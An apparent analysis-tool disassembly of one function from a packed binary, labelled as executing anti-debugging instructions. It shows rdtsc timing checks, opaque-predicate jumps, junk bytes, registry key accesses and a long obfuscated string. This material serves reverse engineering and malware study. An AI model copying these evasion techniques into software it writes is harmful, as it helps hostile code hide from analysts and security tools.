Function at 0x40373b
Capabilities:
Execute anti-debugging instructions
Packed with generic packer

Disassembly:
jb 0x403716
jae 0x403716
call 0x3045f529
xchg ebx, eax
inc ecx
add byte [ebx - 0x7bf0cf08], al
loopne 0x403724
movsx eax, byte [0x419330]
cmp eax, 0x30
je 0x403806
add byte [eax], al
call fcn.004012f6
pushf
jae 0x403734
je 0x403739
jne 0x403739
call fcn.00403a20
add byte [edx - 0xc], dh
call 0x40373b
jb 0x40372f
add esp, 4
popf
js 0x403745
jns 0x403745
call 0xa03474cc
inc ecx
add byte [eax], al
cmp dword [0x419ff4], 0
je 0x403798
cmp dword [0x418444], 0
jne 0x403798
pushal
rdtsc
mov ebx, eax
mov ecx, edx
rdtsc
sub eax, ebx
sbb edx, ecx
rdtsc
add eax, ebx
adc edx, ecx
rdtsc
sub eax, ebx
jmp 0x403775
invalid
sbb edx, ecx
test edx, edx
jne 0x403771
popal
lea eax, [ebp - 0x18]
push eax
push 0x4182b8
push 0x80000002
call dword [0x41a018]
jge 0x403794
jmp 0x403796
jne 0x403792
jmp 0x4037c4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x18]
push eax
push 0x4182b8
push 0x80000001
call dword [0x41a018]
jno 0x4037c9
jne 0x4037c9
call 0x41d15835
add al, ch
lodsd eax, dword [esi]
and dword [eax], eax
add byte [ecx + 0x50], bl
push 0x419120
call fcn.00405980
pop ecx
push eax
push 0x419120
push 1
push 0
push 0x419330
push dword [ebp - 0x18]
call dword [0x41a01c]
je 0x4037f1
jne 0x4037f1
jmp 0x28adf4
push dword [ebp - 0x18]
call dword [0x41a014]
mov dword [ebp - 0x14], str.hiXntcl7ypx1_icYY_AVEk__9aPnSc8Uc8nj8w_e_bc_qY_JbsX_CJmzvt46tytLsmgH6Il_EiLkEP1j_M_jgMLgS_TC7HwiY8e8kqG_i_C9_R_y_6AbVYZS9smsOtQ9dYDjBXL_xoaZu_opzDG7LrAlgDARwUgnYX_gB_lgB_4Js_L_k__7v_IXzuqm_agfo783n_ge__p_Cr6tAXt4I_MRA_p2fq6Zb6_4__PZbN_BXh_REaj_2J_L___eDI_Z__kis9UJIMCm_r1CFVvRzgL25o_XQUP46wEjCn7ItWXg9g_hhota_F3is9L68tkkVUiPBZrhvED_XYV_Q5HIInNKZ4khhm_____7csVDPxX_Sww4hULB13sWwmyxFXo__piEcbXcMN_rcjEFWVjrgX_yAcFdsFe8J5vgYO23rH_sKltJOjN_axDQw__8_YmKNLNM4_mV_b4ZHp_Pv7oG_g__x_VWY_Inz_2ez3eqw_n__TfFbF3c4bzVe4WIdJdO_M_____J_PH2eUPJ__o__HVqUGBBgc_L6zu9tZ9CT_PTz__t53dz58K_QHRKmnki_4mhcqqX__BHk_zh_HHoOJeIu_7_9_YPyI__a3wi9lwPH__lX_AO__BV_h_b6__y1r_Jk_a5_wEcBEOM_I__jGMD_ap_g_nQ__e__4heJM9Z1_FN2JBUorrN5JIfOh21n3VA_F_PijF_iPwhL6O_pb6JYOwRRYn7D_KeTENVngHRBPyuRcjUYk_Rjb8n1TQQ_pgQVF_O_Iu_avXMIm7KCex7K1LtGAj__iHK_WCmPVtOPWTkZ1Chih__f4Aqyu54_aEa_PUYmWBVO9Q17bvR9tBl_UIJvAHye3tDal_b_smzhE_QG9X__WJhcr_WU3B_1lUWXDIjKprbvTZH_ugrPiPLY9oxOzry1QAZu_Z9MtAH_bSCML_EBV_M7I15Vy64DQzem__SxDXS_9_4R_iDLHgFJiGYMj_rBP74_o515MqG2_fcj__KQp7vZ_a_Yq_k_6HDof_f_R2JuvRX__N1dEV4AdeF7oV___PSd4__VX9eL_Zw_ug94jlQTUELLe_yqcEEa_tu_w_VhCNULUIem79JGxFIy_CxfasK_NKs__f_qmjSk2Bqh_wPcZzsIQuzzyB_aQpn_oim_XHmizt1S4Xc7o2VU_zEvz_8eIN_uDoq8DKa72r__L2IL69CL__mCtzMSAG_yTXc_9_phYST_BXKUNIxtm__pDyBBrnfNrPGqwE_AIcmcOTw_3H9psX1I2sQu4An6w___cu___uvsX6SAd_fosr_qs__JT_tF3m6_H_fu_7lrezDczu_fZ6ftRiKp5p4_kgSYYziR_Ako
jmp 0x403983
movsx eax, byte [0x419359]
cmp eax, 0x30
je 0x403983
call fcn.004012fb
clc
jae 0x403820
call 0xd0a5bc0b
add byte [eax - 0x6f6f6f70], dl
and dword [ebp - 0x30], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x105
call fcn.0040542c
pop ecx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x2c], eax
mov ecx, 4
call fcn.0040387d
jmp 0x40385a
pop ds
add byte [eax], al
add bl, ch
cli
call fcn.0040387b
jmp 0x413155